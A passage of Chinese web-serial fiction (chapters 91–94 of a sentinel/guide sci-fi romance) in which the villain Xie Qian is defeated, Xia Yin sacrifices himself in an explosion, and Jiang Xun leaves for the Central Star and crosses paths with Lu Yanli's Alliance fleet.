流弹从他身边“嗖嗖”飞过，他不敢停下一点儿脚步，连滚带爬，终于扑到了检修口那厚重的圆形金属盖旁！ 染血的手指颤抖着，整个身体都扒了上去，使劲去拧那已然锈死的转盘阀门。 “啊——！”求生的欲望令他在这一刻迸发出了最后的力量，锈死的阀门也在这股力量下，缓缓转动了起来。 血水被涂满了转盘，而面前的大门，也终于在谢谦希冀的目光中缓缓打开了一条缝隙。 顾不得去看身后的情形，谢谦一手抓起最后一管蓝色真空试剂瓶，连滚带爬地顺着那道缝隙爬了进去。 正要顺着这条最后的生机逃出生天，一道阴影在此时覆上了他的身体—— 作者有话说：二更再次卡点[化了]《 》 90-100 第91章 染血的手指， 死死抠着冰冷的管道内壁，身体像条脱水的鱼般向前缓慢蠕动着。 肩膀碎裂的剧痛几乎让他昏厥，但谢谦的手中， 仍然紧紧攥着那支承载了他所有野望的幽蓝真空瓶。 厮杀声似乎渐渐远去了， 谢谦耳中只能听到自己如风箱般的剧烈喘息， 与擂鼓般的心跳声。 他的面上一片狼狈，血污、硝烟、污泥糊了满脸，眼睛却如火炬般明亮。 快了……只要爬出这条管道， 他就能逃出生天！ 只要让他出去！让他重新建起新的生产线！天启、血狼帮都会成为他的踏脚石， 他会成为最后的胜利者！ 他的心底一阵振奋，挪动的速度更快了一分。 就在他抬起那张布满血污与冷汗的面孔，想要向着出口看去的时候，眼前突的一黑，一道人影忽然无声无息的出现在了他的面前。 从出口处照射进来的明耀光线，被这道身影一挡， 便化为一层浓稠的暗影， 完完全全覆住了他的身形。 谁？！ 谢谦大惊！ 他一挥手臂， 抹过眼睛，把浸润进眼眶里的血水通通抹去， 凝目去辨认那浸在一片幽暗中的面孔。 从外间射进通道的光，在这人身周勾勒出一片耀眼的轮廓， 遒劲的肌肉组合在一起，化为一具高大矫健的身躯， 他的目光平静而专注，凝聚在自己身上的视线沉如山岳。 “你是……江寻？！” 再往旁边一看，另一道瘦削身影，静静站在江寻身后半步。 他沉默地站着， 无声无息如一尊雕像，那双眼睛却穿透黑暗，死死钉在他身上，里面翻涌着刻骨的恨意。 “夏因！” 认出两人的身份，谢谦的恐惧瞬间被滔天的恨意点燃！ 他的喉咙里猛然发出一声嘶哑的咆哮，对面前两人的极致怨恨，让他在这瞬间忘记了自己的虚弱与重伤，忘记了身后的追兵，眼中只剩下这两个毁了他一切的蝼蚁！ “去死吧！” 恨意让谢谦在这一瞬间爆发出了全身所有的力量，双手一撑，猛得从地上窜了起来，沾满污泥的手紧握成拳，狠狠砸向江寻的面门，右腿带着风声迅猛甩了出去，阴毒地扫向江寻之前曾经受伤的右臂！ 如果不是他们！他怎么会落到如此田地！谢谦心中的恨怒如岩浆般沸腾！ 可谢谦虽然爆发得突然，自己却已然身受重伤，无论速度还是力量都比平时弱了好几等，哪及江寻以逸待劳。 面对谢谦这困兽犹斗的搏命一击，他出手快如闪电，精准地格开砸到他面前的手臂。同时，身体如同柳絮般一晃，侧滑半步，不仅避开了对方扫过的鞭腿，更巧妙地一卸一推，令谢谦失去了重心，整个人踉跄着斜了出去。 至此，江寻还不罢休，格挡的手在对方掠过自己身前时，顺势下沉，手肘瞬间发力，“砰”一声，狠狠撞在谢谦碎裂的左肩上。 “呃啊——！” 坚硬的手肘毫不留情地再次重创在一再受创的左肩上，难以形容的剧痛瞬间淹没了谢谦，过于强烈的痛感，刺激得他眼冒金星，一下子失去了对身体的控制，踉跄着向着前方一头栽了下去。 谢谦再怎么说也是高级哨兵，江寻丝毫不敢大意，即使看着他失控地倒了下去，也不愿给他喘息的机会，单腿一旋，便如跗骨之蛆般再次贴了上去，并指为掌，直取谢谦面门而去。 谢谦绝望地歪倒在地上，看着迎面袭来的掌刀，强烈的不甘与怨恨疯狂涌上心头，瞬间将他彻底吞噬！ “想杀我？！就凭你们？做梦！”他脸上扭曲出一个狞笑，再不顾去保留他最后的“神药”，“你们费心研究、隐藏了那么久，最后这‘神药’还不是落在我的手里了！这样也好，就让你们——死在自己的杰作下吧！” 说完，谢谦拇指一弹，猛地将手中真空瓶的瓶塞弹了出去，一股奇异的香气，一下从试管中满溢了出来！ 谢谦看着那闪烁着幽蓝光芒的奇异液体，眼中精光大放，一仰头，把试管中的液体尽数灌入了自己的喉咙！ 转过身去面对着袭来的江寻，面上露出一个奇异的狞笑，等待着这神奇的药剂发挥力量，修复他的伤势，赋予他重回巅峰的力量！ 一秒……两秒…… 预想中的快速修复没有出现，澎湃的力量也毫无踪影，谢谦面上带着疯狂的狞笑，随着时间的过去寸寸凝固起来。 “怎么……怎么回事？！”谢谦面上的表情碎裂开来，巨大的茫然和恐慌，随着渐渐泛冷的身体，浮上面庞。 他低头看看手中紧攥着的，已然空空如也的瓶子，又难以置信地看向自己毫无变化的身体。 “神药……我的神药呢？！”谢谦手一松，慌乱地拍打向自己的身体，好像要从自己的身体里，找回他丢失的什么珍贵东西。 空无一物的真空管“啪叽”一声落地，碎成齑粉。 “还不明白吗，谢谦？”江寻的声音平静得，像在陈述一个再简单不过的事实，“从头到尾，从来就没有什么‘星穹之泪’。” 谢谦的身体猛地一僵，双眼慢慢抬起，眼眸中浮起巨大的恐慌，还有一丝丝微弱的希冀：“怎么……可能？” 江寻的动作停了下来，看着眼前这个一身狼藉，瘫倒在地面上的男人，眼神中带着一丝冰冷的怜悯，如同在看一个在舞台上卖力表演，却无人问津的小丑。 “不可能……不！不可能！”看着江寻的目光，谢谦的眼神里，渐渐浮现出绝望，声音干涩地摇着头，直至粗粝地嘶吼出来，“我明明看到过那药剂的作用，亲自体会过它的效果！” “只是假象而已，”江寻的语气平静，却轻易打碎了谢谦最后一丝幻想，“只是一些常见药物混合出来的缓释剂，再加点兴奋剂，一点荧光粉。” “轰——！” 江寻的话语，比任何子弹炸药，都更具杀伤力！ 谢谦脑中一空，曾经拥有的所有野心、算计、挣扎、疯狂，都在这残酷的真相面前被碾碎成泥！ “假的……都是……骗我的……”谢谦一瞬失去了所有力气，软软委顿在地，眼神涣散地喃喃自语。 身上所有的精气神，一瞬被抽空，身体“啪叽”一声摔落在了泥泞的地面上，瞬间沾满污秽。 半边脸孔贴着湿滑的地面无意识地颤抖，嘴里发出意义不明的嗬嗬声，面上表情难辨，滚滚浑浊的涕泪，混合着血水与污泥，无声地流淌。 江寻冷眼看着面前彻底陷入崩溃的谢谦，眼中没有丝毫胜利的喜悦。 上前一步，一手伸出，抓住谢谦的衣襟，像拖着一袋垃圾般，拽着他拖过满地的血腥尘土与污泥恶臭，手臂一扬，将他重重摔在了夏因的脚下。 “噗通！” 沉闷的摔撞，让谢谦的身体抽搐了一下，却丝毫没能唤起他的任何反应，他像是一滩真正的烂泥，四肢怪异地摇摆着，匍匐在了地上，再无一丝属于人类的尊严。 夏因愣愣地低下头，看了良久，这才缓缓蹲下身来，目光一寸寸，慢慢扫过面前这个曾捧他上天堂，又践踏他入地狱的男人。 看着他此刻的狼狈与肮脏，看着他脸上痴痴的绝望与空洞。 曾经那些刻骨铭心的恨意与痛楚，那些支撑着他在无数个无光的暗夜里，挣扎着活下去的复仇火焰，在这一刻，竟奇异地冷了下去。 然后，夏因动了。 在江寻都没有反应过来的时候动了。 动作快如闪电，毫无一丝征兆！ “噗嗤——！” 冰冷的刀锋，精准地、深深地，如热刀切入黄油般顺滑地刺入了谢谦的侧腰！ 左边一刀，右边又一刀。 如同在他心中无数次预演过的情景一般。 “呃啊——！” 来自肾脏的剧痛，终于让谢谦从麻木中挣脱了出来，猛得深吸一口气，发出一声如烂风箱般的抽气声。 身体如虾米般弓起，双手紧紧捂住奔涌出鲜血的腰部。 他的眼睛猛得睁大开来，看清了面前这个熟悉的面孔。 浑浊的眼睛里，爆发出对死亡的强烈恐惧！ 涕泪横流！ 谢谦扭曲着、蹒跚着跪爬了起来，猛得扑向了夏因的脚下，沾满污血烂泥的双手死死抱住了他的小腿，声音嘶哑、卑微地疯狂乞求： “夏因！夏因！你饶了我吧！那时……那时我也是被逼的！都是斯科特……都是斯科特逼着我做的！我也不想的！” 他哭得喘不上来气，呕血破音，与往日里意气风发、高傲鄙薄的模样再无一丝关系。 “我爱你啊！我是真的爱你的！我错了！我知道错了！求你……求你饶了我！我把我所有的钱都给你！我帮你离开这个鬼地方！不管你想去哪里！中央星、白塔、或者你的家乡！无论哪里都可以！求求你……求求你……饶了我一条命吧！看在……看在我们以前的情分上……你不记得我当年对你有多好了吗？求你了！饶了我吧！” 他语无伦次地求饶，双手剧烈颤抖着，面孔失控般抽搐着，还想强行向着夏因挤出一个笑容来。 夏因歪着头，看向脚下这个曾经无比熟悉的男人。 没有预想中的快意恩仇，也没有大仇得报的欣喜欲狂。 心间漂浮着的，只有一种深深的疲惫，与一种浓重的，令人作呕的荒谬感。 就是这样一个渣滓，一团烂泥，就是曾经让他付出所有信任，放弃自己的人生也要在一起的人？就是推他陷入地狱，彻底改变了他人生轨迹的人？就是让他无数次咬着牙忍住焚骨的战栗，恨之欲死却无可奈何的人？ 一股强烈的呕吐感涌上喉咙，他的嘴唇发白，指节紧紧攥在一起，掐得发白。 他以为，自己这一刀刺下去，就会解脱，就能抵偿以往所有的痛苦挣扎。 然而，什么都没有。心脏的位置，只有一片巨大的、令人窒息的空虚。 刺骨的仇恨在此时，如潮水般退散，取而代之的，是一种深沉的、仿佛来自灵魂深处的疲惫。 一滴滚烫的泪水，毫无征兆地从夏因的眼眶滑落，砸在谢谦染血的衣襟上，瞬间消失不见。 他终于明白，那令他痛入骨髓的，那令他恨之欲狂的，那令他悔恨痛哭的，从来都不是谢谦。 而是因为他自己，那个曾经灿烂美好、才华横溢、满怀热忱与期待，却因一个小小的错误选择，被彻底摧毁殆尽的夏因。 心头的千斤重担，随着那滴泪水，轰然落下—— 作者有话说：一更来啦！虐死烂渣男！[墨镜] 第92章 夏因没有再去看地上哀嚎着， 死命求恳的谢谦。 他抬起头来，目光越过弥漫着硝烟的空气，看向从出口处照耀进来的明耀阳光。 眼中阴霾尽去， 显露出一丝脆弱的新生与希冀。 他的目光慢慢下移， 落在了几步之外， 正以守护者的姿态，静静伫立着的江寻脸上。 嘴角，缓缓的， 无比艰难地， 向上弯起一个小小的弧度。 那一个小小的笑容，复杂极了。 蕴着淡淡的悲伤，放下的释然，以及对某个仍然十分遥远的，却不再虚无缥缈的未来的微弱希冀。 “江寻……”他的声音有些沙哑，却如洗尽了铅华， 带着一种前所未有的平静， “……谢谢你！” 他长长地， 深深地吐出一口浊气，像是要把自己身体里的一切污秽， 都在这一口气里彻底抛弃。 “已经够了……”他的笑容变大了一些，声音轻轻却掷地有声， “一切都结束了！” 他的手指轻轻松开，紧攥在掌心的那柄染血短刃， “当啷”一声落地。同时落下来的，仿佛还有那捆缚着他多年，不得解脱的沉重枷锁。 他转过了身去，再也没有回头看一眼， 目光清澈地、坚定地望向江寻。 “我们……”夏因的声音带着一丝不易察觉的轻颤，如刚刚破茧的新生蝴蝶，初次尝试振翅时的微响，“一起去中央星吧！” 他的眼睛亮了起来，充满了对未来的憧憬，“去中央星！重新开启……属于夏因的人生！” 江寻闻言，眼眸一亮，绽出一个微笑，正要接着说话，突然—— “轰隆隆隆——！” 一声震彻天外的，如同大地崩裂般的恐怖巨响，毫无征兆地从通道那头，最核心的区域炸裂开来！ 是谢谦深埋在地底的巨量炸药！ 毁灭的冲击波如同无形的恐怖海啸，以摧枯拉朽之势，瞬间席卷开来，向着四方凶猛扩散出去！ 挡在通道口的厚重金属阀门，在如此超量的冲击波下，发出令人牙酸的呻吟，比手掌还要厚的钢板被无形的巨力轰然撞击，惨烈地扭曲成奇怪的形状。 江寻三人所在的这条通道，被厚重的金属阀门挡下了第一波冲击，然而脚下的地面却未曾幸免，只一瞬间，便如同脆弱的饼干般寸寸碎裂、隆起、然后——轰然塌陷！ “啊——！” 夏因的惊呼被淹没在震耳欲聋的轰鸣声中！ 整个世界，天上地下，在眼前疯狂旋转、碎裂开来！三人如同被卷入了风暴中心，毫无反抗之力地被抛飞起来！ 千钧一发之际！ 求生的本能让江寻猛然爆发出了超越自身的力量，在身形坠落之际，他的瞳孔骤然一缩，紧紧盯住了一根从裂开的通道边缘裸露出来、扭曲如麻花的粗大钢筋！ 一声大吼，他的左手闪电般伸出，死死地抓住了钢筋一头。同时，身形一荡，右手用尽全力够出去，在夏因的身体从他身边滑过之际，险之又险地抓住了他的一只手腕！ 巨大的下坠力猛地传来！ 江寻的身体被狠狠掼在崩裂的地面边缘，右臂刚刚愈合的伤处瞬间传来一阵肌肉撕裂的剧痛！ 鲜血瞬间浸透了他臂上的衣物，他闷哼一声，眼前阵阵发黑，全靠一股意志力支撑着，死死抓住几人唯一的生机，挂在了断壁边缘。 “江寻——！” 夏因面色惨白，身体完全悬空，全身的重量全靠江寻那只被撕裂的手臂维系着。 更致命的是，他的一条小腿上，还死死抱着一个人——谢谦！ “救我！夏因！救救我！救我上去！”谢谦涕泪横流的面庞，被极致的惊恐扭曲到变形，嘶哑变调的尖叫声如尖利的刮刀割过耳膜。 “呃啊——！” 夏因的身体，再次猛地向下一沉！ 小腿处传来骨头几乎要被捏碎的剧痛！ 谢谦仰着那张扭曲狰狞的脸，双手死死抠进夏因的皮肉里！还使劲往下拽着夏因，试图攀着他的身体往上爬！ “啊——！” 下坠的力道，在谢谦没有理智的剧烈动作下，再次增大，剧痛令江寻发出一声惨叫，他的眼眶几乎都要迸裂开来，左手却仍然纹丝不动地抓着那根承载着三人重量的钢筋。 他的右手死死拽着夏因的手腕，剧痛让他的手臂不受控制地剧烈颤抖，鲜血顺着小臂汩汩流下，滴落在夏因苍白的面庞上。 他咬着牙，试图将夏因拉上来，哪怕一点点！ 可谢谦此时失去了理智的拖拽，却让他的努力毫无寸功！ 突然，他的头顶，传来一阵令人心悸的“嘎吱”声，江寻面上瞬间失去了血色——是那根钢筋！ 钢筋的呻吟声越来越刺耳，三人再次猛然向下一坠。 “夏因！抓紧我！” 钢筋的嘎吱声仍在继续，江寻大吼一声，咬紧了牙关，从颈侧到手臂，全身肌肉、青筋猛然暴起，一寸一寸，将手中紧拽着的人向上拉过来。 可即使他已经爆发出了远超自己极限的力量，上升的速度，仍然比不上钢筋弯折下来的速度。 夏因仰起头，看着上方江寻因剧痛和用力而扭曲起来的脸，看着他右臂上那触目惊心的、不断扩大开来的血晕。 又低下头，看向脚上那个死死抱住他的小腿，面目全非，涕泪横流着尖叫求救，还在把他往下拽的谢谦。 久远的记忆忽然甦醒了过来。 那张已然扭曲的脸，就那么与许多年前，躺在一片残垣断壁里，浑身是伤，面露疯狂，却还向他投来求救目光的年轻哨兵的脸，诡异地重合了起来。 就是那一次的伸手，彻底改变了他人生的轨迹，将他从闪耀着的光明中，拖入了无边的黑暗。 命运的齿轮，兜兜转转，竟在此刻，以如此残酷而讽刺的方式，重新回到了原点。 夏因突地笑了一声，仿佛在嘲笑这纠缠不休的宿命轮回。 他低下头去，看向脚下疯狂挣扎着的谢谦，声音平静，如同一池死水，却清晰地穿透了身旁爆炸的余波，和谢谦的惊声尖叫。 “谢谦，当年我们缘分的开始，就是我对你伸出的那双手。”他的语气停顿了一下，看着谢谦那双瞬间凝固住的，因恐惧而放大的瞳孔。 “我们两人的命运，都在那一刻之后，被彻底改变。” “这一次……”夏因的声音陡然拔高，眼眸灼灼，带着一种即将斩断宿命的决绝，“一切都该回归到正轨了！” 话音刚落，夏因猛地仰起头，看向上方目眦欲裂，仍在拼命坚持的江寻。 “不——！夏因！不要！” 意识到了什么，江寻猛然嘶吼出声。 他大大睁开的眼中布满了血丝，充溢着难以置信的恐慌与绝不放弃的执念。 夏因专注地看着他，用目光一寸寸在心中刻下他的样子，用尽全身最后一丝力气，对他绽开一个无比纯粹的笑容。 “江寻！”他的声音清越而坚定，如同穿透黎明的第一束光，“替我活下去！好好活下去！去中央星——！” 江寻只觉得手中一空，手腕瞬间被松了开来。 “不！夏因——！” 谢谦的尖叫嘶吼声戛然而止，他的表情凝固在难以置信的扭曲恐惧上。 直到此时，他仍然像绞缠着寄生物的断肠草一般，死死缠抱着夏因，两人如同连体婴般，一瞬滞空，而后，便直直朝着下方翻涌着火焰与浓烟的无尽深渊，坠落了下去！ 就在这最后的瞬间里，夏因面上的笑容又变大了一分，猛地伸手从怀中掏出一个，用油布仔仔细细包裹起来的小包。 眼中闪过一丝不舍，而后，化为最后的祝福，用尽全身所有的力量，朝着上方江寻的方向，奋力一抛！ “江寻！接住——！” 江寻的大脑一片空白，身体的本能却快过了思维！ 他的手如闪电般伸出，一把攥住了那个仍然带着夏因温热体温的油布小包！ 同一时刻，夏因的身影如同断翼的蝴蝶，在浓烟与火光中轻盈地向下飘落。 烈风与焰光环绕着他的身体，他的金发闪耀飘扬，碧眼澄澈无垠，分明是最美丽的模样。 他最后留恋地看了一眼上方那个死死抓着钢筋，攥紧了油布包，睁大着眼睛死死盯着他的身影，嘴唇翕动，无声地说了一句什么，面上绽开一个近乎圣洁的微笑。 “夏因——！” 江寻撕心裂肺的嘶吼声，彻底淹没在吞噬一切的火焰轰鸣中。 他眼睁睁地看着那抹翩跹身影，连同谢谦那扭曲到极致的恐惧面庞，在他的视线中越来越小，最后，被翻滚的浓烟和炽热的火舌彻底吞噬，消失在脚下那片无尽的黑暗深渊里。 手心里唯一攥住的，只有那个被细致保管着的，还带着夏因最后一丝体温的油布小包。 小包之上，一点湿润残留——那是最后一滴属于夏因的，尚未冷却的皎洁泪珠—— 作者有话说：555~~让我哭一哭[爆哭] 第93章 三日后。 空气中依旧弥漫着淡淡的硝烟味与血腥的气息。 隐蔽的废墟、小巷中， 被血污染成暗红色的土地还没有完全洗去污秽。崭新的钢筋骨架，已经被抬着吊着，搭起了新生的楼房。 生活仍要继续， 只是过去了短短三天， 人们便已经恢复了往日里的轨迹， 只是在路过某些再也无法打开的门扉时，面露遗憾地摇摇头。 江寻再次环顾一圈，确认各种小玩意儿、瓶瓶罐罐， 都好好的站在它们该在的位置， 拂过每一个桌椅箱柜，这才背上不大的背包，走出了门。 站在门口的台阶上，他再次回头望去。 晨曦的微光，透过薄云树梢，斑驳地洒在诊所的招牌上。 房子里仍残留着药材的苦涩与消毒水的味道， 就好像他每天早上出去买完食材后， 刚回来的模样。好像下一秒， 就会有一个睡得头发乱翘的身影，揉着眼睛， 汲着拖鞋从内室里走出来，一边抱怨着麻烦， 一边从他手中接过口袋。 江寻闭了闭眼，深深吸了一口气， 将这所小房子最后的模样刻入心底。 将挂在窗户上的“营业中”翻转成永远的“休息”。 转过身去，走向街道的尽头。 一阵微风吹过诊所的招牌，上面用不太好看的字体写成的五个字，被吹得“吱呀吱呀”乱响， 向着慢慢远去的人影忽闪了几下，像是一场无声的道别。 漆成白色的门扉，在身后轻轻合拢，发出一声沉闷的“咔哒”，为这一段过往，落下了最终的锁。 * 城主府顶层。 霍明德志得意满地高坐在上首，梗在喉间十几年的窒碍，如今一朝尽去，又得到了天启集团的全面支持，让他即使面对着厚厚的损毁报告也掩不去唇角的微笑。 “联盟的舰队即将抵达，星盗团也已经开始在星域中集结，战争就要来了，江寻，我将兑现我的诺言。” “空港已经为你打开了，运输舰‘希望号’将于一小时后启程。”他顿了顿，侧身示意站在身边的两人，“这两个孩子，就是今年选送到塔中培养的苗子了，你将以护卫的身份，随他们一同前往中央星。路上，劳烦照拂。” 江寻的目光落在站在霍明德身边的，两个约莫十三四岁的孩子身上。 他们一男一女，都穿着崭新的向导预备役制服，脸上带着对未来的憧憬和一丝不易察觉的紧张。 其中那个女孩，有着一头和夏因相似的金色头发，眼睛湛蓝清澈，让江寻的心猛地一揪。 “我会的。”江寻的声音有些低沉，但异常平稳。 手指一紧，掌心中紧握着的一个金属芯片，硌得他心底生疼。 一小时后，空港上空，一艘银梭冉冉升起，而后一个加速，挣脱了大地的束缚，疾驰而去，速度飞快地刺入天空。 江寻被安全带固定在座位上，透过舷窗，看着那颗伤痕累累的灰绿色星球，在视野之中越来越小，连绵成片的人间灯火，模糊成一片朦胧的光影。 我终于带你离开了，你看到了吗，夏因？ 他摩挲着手心里那片身份芯片的坚硬棱角，心中黯然。 身旁的两个孩子却完全不懂大人的诸般婉转心思，第一次乘坐舰艇进入太空，让他们兴奋极了，从星舰点火开始，就忍不住地叽叽喳喳了起来。 “我爸爸说了，我们觉醒的是很稀有的向导，这在外域里可是很少见到的！这么大一个自由城里，一年也出不到几个，我们还被城主专门挑选出来送去塔中培养，我们可都是天才！” 男孩扎克仰着下巴，一脸得色地对着小女孩说道。 “我爸爸还说，我的潜力等级是D级，应该很快就可以学成回家了，等我回家以后，他就把继承人的位置给我，以后大哥二哥还有我家工厂里所有的员工，都要听我的！” 米娅的小脸涨红，羡慕极了：“哇！那有多少人呀？” “不多不多，也就一百多个吧！”扎克嘴上说着不多，面上笑容却更大了一分，得到米娅捧场的再次赞叹后，接着问道：“你呢？你的潜力等级是什么啊？你走的时候，父母没给你说什么吗？” “我的潜力等级是C级，”米娅面色黯淡下来，“我妈妈早就死了，爸爸也再婚了，我是跟着爷爷住在一起的，不过前阵子，爷爷也不在了。” “C级啊，那你估计要学很久了。”扎克安慰道：“别伤心，我们都觉醒了向导，以后可都是要做大人物的！你爸爸不要你是他的损失！等你升到C级以后，他肯定要后悔的！” 小孩子的情绪来得快去得也快，米娅还没伤心多久，就被扎克的话语和舷窗外目不暇接的奇景所吸引，重新高兴了起来。 “大哥哥，你认识城主大人吗？你要和我们一起去塔里吗？”两个小孩子聊了半天，又把注意力转移到了坐在他们旁边的江寻身上。 “嗯，我认识城主大人，我要去中央星找人，所以拜托城主大人让我跟你们一起走。”江寻解释道。 “哇！那你是不是很厉害的人啊？”两个孩子闻言，眼睛亮闪闪地看向江寻。 “你居然认识城主大人，能和城主大人说话，”扎克半个身子都歪了过来，“我爸爸见了城主大人都不敢抬头！他说城主大人是我们自由城里最厉害的人了！” 江寻失笑：“我只是个普通人，是城主大人人很好，愿意帮助我而已。” “那也很厉害了！我就不敢和城主大人说话，”扎克闻言，寻求赞同地把目光移向米娅，“你说是不是？” 米娅忙不迭地点头。 “不知道塔里是什么样子的，我听说全联盟所有的向导，都是在那里学习的呢……” 旅途漫长，但伴着两个孩子不时的童言稚语，似乎也不是那么孤寂。 运输舰顺着设定好的星际航路图，在荒芜的星域间穿梭，进行着一次次空间迁跃。 每一次迁跃，都伴随着剧烈的空间扭曲感和短暂的感官剥离体验，每当这时，两个体弱的孩子便要躺进休眠舱中，依靠休眠舱的保护抵御不适。 数日之后，希望号终于抵达了这次旅程中最大的一个星际中继站——十字星锚点。 这是一座位于三个大型星系边缘交叉点的巨大钢铁空间站，无数往来的舰船，在此短暂停泊，补充能源，校准航线，再迁跃进入下一条航道，驶向宇宙的四面八方，如同繁忙的宇宙港口。 希望号同样如此，在缓缓驶入空间站指定的停泊位，完成能源的补给和舰船安全检查后，便再次启动引擎，准备进入下一段通往中央星域的迁跃轨道。 就在希望号刚刚脱离锚点，启动引擎，即将撕开空间壁垒进入下一段迁跃的瞬间，侧前方原本空寂平静的空间，忽然毫无征兆地沸腾了起来！ 漆黑的巨幕中突然出现了几道褶皱，紧接着，褶皱猛然变大，被撑裂开来，一个漆黑的大洞出现在裂口最中心的位置，接着迅速变大。 洞口中心，猛然刺出一道银白，下一刻，那道银白昂然破开天幕，从漆黑的大洞中一跃而出，竟是一艘通体银白冰冷的庞然巨舰！ 这还不是结束，漆黑的洞口在银白舰艇跃出之后，再次撕裂扩大，边缘闪烁起道道幽蓝射线。 下一刻，一道横亘视野，庞大到令人窒息的钢铁洪流，裹挟着道道迁跃余辉，从洞口之中轰然跃出！ 一支庞大到超乎想象的星际舰队！ 舰队出现的一瞬间，希望号的舰桥便被闪烁的红色灯光彻底笼罩，刺耳的蜂鸣声惊得舰中所有人惊慌失措！ “警报！前方出现高能迁跃反应！请所有人员立即回到座位上扣好安全带，即将开启能量护盾！即将调整航道进行自动规避！” 只操纵过小型民用星舰的舰长，声音难掩紧张，却还是极力平稳着舱中所有乘客的情绪： “不要惊慌！看看船体上的标志！这是联盟的正规远征舰队！立即回到座位上扣好安全带！星舰会进行自动规避动作！重复一遍！请所有乘客立即回到座位上扣好安全带！” 舰长的喊话让众人的情绪稍稍平复了下来，动作迅速地按照指示固定住了自己的身体。 江寻也在第一时间扣好了所有安全带，眼睛一眨不眨地紧紧注视着面前的震撼场景。 视野所及之处，是无边无际的钢铁巨舰！ 它们庞大、冰冷，以某种规律的顺序整齐排列在幽暗的星域空间之中。 冷峻而精密的装甲在星光下反射出道道冷光；狰狞的主炮安静趴伏在巨舰底部，如巨兽收起的爪牙；道道幽光在笼罩着星舰的透明光膜上闪烁，为舰体镀上一层绚烂的流光。 更远处，一艘艘体型远超希望号的大大小小各色舰艇，如跟随着兽王迁徙的群兽，鳞次栉比地悬浮在虚空之中。 舰体上，代表着联盟的利剑与星辰徽记闪耀着，散发出的压迫感，几乎让整个空间都为之凝固！—— 作者有话说：换地图啦！[让我康康]让猫猫亮个相！ 第94章 在这片庞大的钢铁洪流面前， 希望号渺小得如同一叶扁舟，好像它不经意间扬起的一道涟漪，便会把它整个吞噬下去。 巨大的体型差距带来的视觉冲击， 让江寻的呼吸都为之一窒， 心脏仿佛被一只无形的手狠狠攥住！ 这就是联盟真正的最强力量！超越地球人想象之外的庞大战争机器！ 就在希望号艰难地调整着航线， 小心翼翼地试图从这支庞大舰队的边缘擦过时，舰队中央，那艘最为庞大， 宛如一座移动的钢铁巨堡的旗舰“镇魂号”上， 正有一个身影，信步走到了舰桥的观测窗前，一边向外观察着舰队的行进路线，一边和手边全息投影另一头的人说着话： “……对，我已经收拢了残兵，在去往M85星系的路上了。” 投影另一头的红发人影像是心情很好的样子： “你的运气可真是好， 都已经被丢到寂静星上去了， 还能莫名其妙在那里， 遇到一个能和你匹配上的向导。不过，你真的确定那个人背后没什么问题吗？” 舷窗前的人影一身笔挺的联盟军装， 肩章上星辰闪耀，正是带着联盟舰队前来， 镇压此次M85星系星盗叛乱事件的前线总指挥——陆厌离。 “不管他身后有没有问题，我都会让他变得没问题！” 陆厌离说得掷地有声。 听到这话， 懒懒散散斜坐在另一头的阿克塞尔眉毛意外地一挑，颇感兴趣地坐直了身子，凑近了屏幕： “陆厌离？你还是我认识的那个乖宝宝陆厌离吗？你居然能说出这种话？” 陆厌离瞥了投影对面的人一眼，没有说话。 “这个小向导挺厉害啊， ”阿克塞尔两指捏住下巴，来回摩挲了一下，眼中充满了兴味，“迷得我们陆少将为了他连一直谨守的规则都不顾了。” “该不会你这次出来也是自己的意愿吧？”阿克塞尔语调挑高，见投影这头的陆厌离看了他一眼，却没有反驳，像是发现了新大陆似得，“还真是啊？我就说！以你家陆老头的性子，见你现在又能用了，肯定会继续给你下任务，扣着你给你那一大家子无私奉献啊！怎么可能放你跑这么远来给别人收拾烂摊子？！” “哎哎，给我说说，怎么回事啊？你和你家老头闹翻了？” 阿克塞尔来了兴致，连忙追问起来。 “不算，”陆厌离抿了抿唇，“他失踪了，父亲说帮我找他，但是已经过去几个月了，依然没有找到丝毫线索，所以我就自己来了。” 阿克塞尔眉毛一挑，嗤笑出声：“啧！按他的尿性，这不是理所当然的吗？手里最好用的棋子，当然是要拿去换最大的利益才行，怎么可能白白把你拱手送给一个一无所有的小向导？” “别说帮你找到他了，说不定就算他主动送上门来，还要把他控制起来不让你见到呢！他只需要一个可以给你治疗的工具，可不想这个工具利用向哨关系去影响控制你！” 陆厌离闻言，眼神沉了下来，周身气压迫人。 “我知道的，我这次回来，以后就不打算重回愈灵殿继续参与休眠计划了。”陆厌离说道。 “在没有找到他，确定他安全之前，我会一直留在军部活动。第八军团长也答应我了，只要我愿意接受军部的调配指挥，就让我接任第九师总指挥官，拥有完整的指挥控制权。” “哎呦！你终于开窍啦！”阿克塞尔大笑出声，“你早该这么干了！明明入军部都十几年了，家世背景又那么强！军衔都升到少将了，结果还是个光杆子司令，手下一个人也没有！你看看还有哪个傻瓜和你一样？！要是你自己手底下有人能用，说不定你那个小向导早就找到了！” “没想到啊！找到个向导，居然能让你变化这么大啊！”阿克塞尔戏谑地挤挤眼。 “哼！你还有资格说我？你呢？又是怎么回事？”陆厌离看着对面的人周围乱糟糟的环境，“听说你被暂时撤职了？事情严重吗？你现在又在哪？” “切！一群眼红的臭虫，想方设法找我麻烦，想给我个教训呢！”阿克塞尔双肘抱头往后一仰，一双蹬在迷彩裤里的大长腿马上占据了一大半的屏幕。 “老子正好休息休息！我倒要看看，没了我，他们要靠谁去杀那帮虫子！” 陆厌离闻言，正要再说什么，冥冥中，突然有什么，在他的灵性上勾了一下。 他不由自主地顺着灵性的方向扭过头去，视线正正落在了不远处，一艘正小心翼翼从旗舰侧翼旁，滑过的不起眼运输舰上。 就在两舰即将交错而过的瞬间，陆厌离的目光，透过旗舰厚重的多层舷窗，与那艘运输舰的观景窗后，一双同样望向外面的漆黑眼眸对上了！ 时间仿佛在那一刻被拉长、凝固。 陆厌离那双深邃的翠色眼眸，在看清那张脸孔的刹那，瞳孔猛地放大！冷峻的面容上，瞬间爬满了难以置信的震惊，与失而复得的狂喜！ “江寻？！” 他几乎是下意识地向前一步，手掌重重拍在冰冷的舷窗上，发出沉闷的声响。 那张无数次在午夜梦回时浮现，让他辗转反侧，不惜违逆家族也要远赴边缘星域寻找的脸，竟然就这样毫无征兆地出现在他的眼前！ 在这远离中央星域的战场边缘！在这即将奔赴血火的前夕！ 然而，在希望号的舷窗后，江寻只是微微蹙起了眉头。 他看不太清对面旗舰舰桥上的那个人影，只依稀看到那个身影身着一身整齐的纯黑制服，在看到他的一瞬间便突然动了起来，冲到窗边举手拍打着舷窗。 只能感觉到，一股强烈的视线死死笼罩在他的身上！ 那目光，突兀又炙热，刺激得他弥散在周身的精神力都剧烈波动了起来。 这人怎么了？……他是谁？ 